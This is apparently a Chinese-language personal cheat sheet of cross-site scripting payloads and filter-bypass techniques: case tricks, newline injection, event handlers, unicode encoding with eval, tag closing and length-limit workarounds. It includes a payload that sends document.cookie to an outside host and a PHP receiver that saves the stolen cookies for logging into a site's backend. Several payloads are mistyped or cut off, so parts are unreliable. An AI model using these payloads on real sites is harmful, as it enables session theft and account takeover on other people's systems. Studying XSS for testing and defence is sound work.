XSS攻击
XSS攻击
点击查看代码
<script>alert('xss')</script>
<script>alert(document.cookie)</script> #显示出cookie信息
<script>document.location='http://www.test.com/cookie.php?cookie='+document.cookie;</script> 需要进行URL编码
# cookie.php 反射型XSS获取cookie,登录后台
<?php
$cookie = $_GET['cookie'];
file_put_contents("cookie.txt",$cookie);
存储型xss漏洞，数据写入数据库中，利用img标签，如果出现损坏的小图标，就说明存在存储型xss漏洞
<img src=1 onerror = alter'1'> 如果前面的src=1没有正常执行，就会调用onerror = '111'
- 无法使用<>：以下三行代码可在<>里面写
onclick=alter(1)// 点击后触发
Onmousemove 当鼠标移动就触发 Onmousemove=alter(1)
Onload 当页面加载完成后触发 - 将on、script等字符分割：
<a href=javascript:alert(1)>Clickme</a>需要先闭合<>、""这些 - 将on、script等以及href字符分割：更改大小写看是否可行
- 过滤比较多：可以使用unicode编码形式绕过
基于DOM的XSS
基于DOM文档对象模型漏洞的一种攻击方式，不依赖于服务器端的数据，而从客户端获得DOM中的数据并在本地执行。
通过JS脚本对文档对象进行编辑从而修改页面中的元素。
url+#javascript:alert(1) javascript伪协议
判断是否存在DOM型XSS的关键是观察我们的HTML源代码中是否存在相关的js函数
location.hash
location.href
innerHTML
document.write
eval("var x = "'+location.hash + ""');
localStorge、SessionStorge、Cookies
利用与绕过
- 大小写绕过
这个绕过方式的出现是因为网站仅仅只过滤了<script>标签，而没有考虑标签中的大小写并不影响浏览器的解释所致。
-
%0A绕过
换行符没有过滤，使用%0A进行绕过
http://www.zixem.altervista.org/XSS/3.php?name=zxm%0A<script>alert("1337");</script>
- 利用过滤后返回语句再次构成攻击语句来绕过
我们直接敲入script标签发现返回的网页代码中script标签被去除了，但其余的内容并没有改变。
这个利用原理在于只过滤了一个script标签。例如：scscriptript
-
并不是只有script标签才可以插入代码
例如这里我们用
标签做一个示范。
我们利用如下方式：
`[http://192.168.1.102/xss/example4.php?name=
src='w.123' onerror='alert("hey!")'>
`
就可以再次愉快的弹窗。原因很简单，我们指定的图片地址根本不存在也就是一定会发生错误，这时候onerror里面的代码自然就得到了执行。以下列举几个常用的可插入代码的标签。
<a onmousemove=’do something here’>当用户鼠标移动时即可运行代码
<div onmouseover=‘do something here’>当用户鼠标在这个块上面时即可运行（可以配合weight等参数将div覆盖页面，鼠标不划过都不行）
类似的还有onclick，这个要点击后才能运行代码，条件相对苛刻，就不再详述。
编码脚本代码绕过关键字过滤
有的时候，服务器往往会对代码中的关键字（如alert）进行过滤，这个时候我们可以尝试将关键字进行编码后再插入，不过直接显示编码是不能被浏览器执行的，我们可以用另一个语句eval（）来实现。eval()会将编码过的语句解码后再执行，简直太贴心了。
例如alert(1)编码过后就是
\u0061\u006c\u0065\u0072\u0074(1) eval()函数：可计算字符串，并执行其中的javaScript代码 <script>eval("alert('xss')");</script> 可以使用\连接十六进制字符串，然后使用eval()函数执行十六进制字符串形式的脚本 -
主动闭合标签实现注入代码
这个时候就要我们手动闭合掉两个双引号来实现攻击，别忘了，javascript是一个弱类型的编程语言，变量的类型往往并没有明确定义。
-
绕过长度限制
假设下面代码存在一个XSS漏洞：
<input type = text value='$var'/>
服务器端对输出变量$var做了严格的长度限制，那么攻击者可能会这样构造XSS:
$var='><script>alter(/xss/)</script>'
希望达到的输出效果是：
<input type=text value=''><script>alter(/xss/)</script>'/>
假设长度限制为20个字节，则这段xss会被切割为
$var输出为:'><script>alter(/xss
$var='onclick =alter(1)//
- 可用注释符绕过长度限制 ><!-- -->
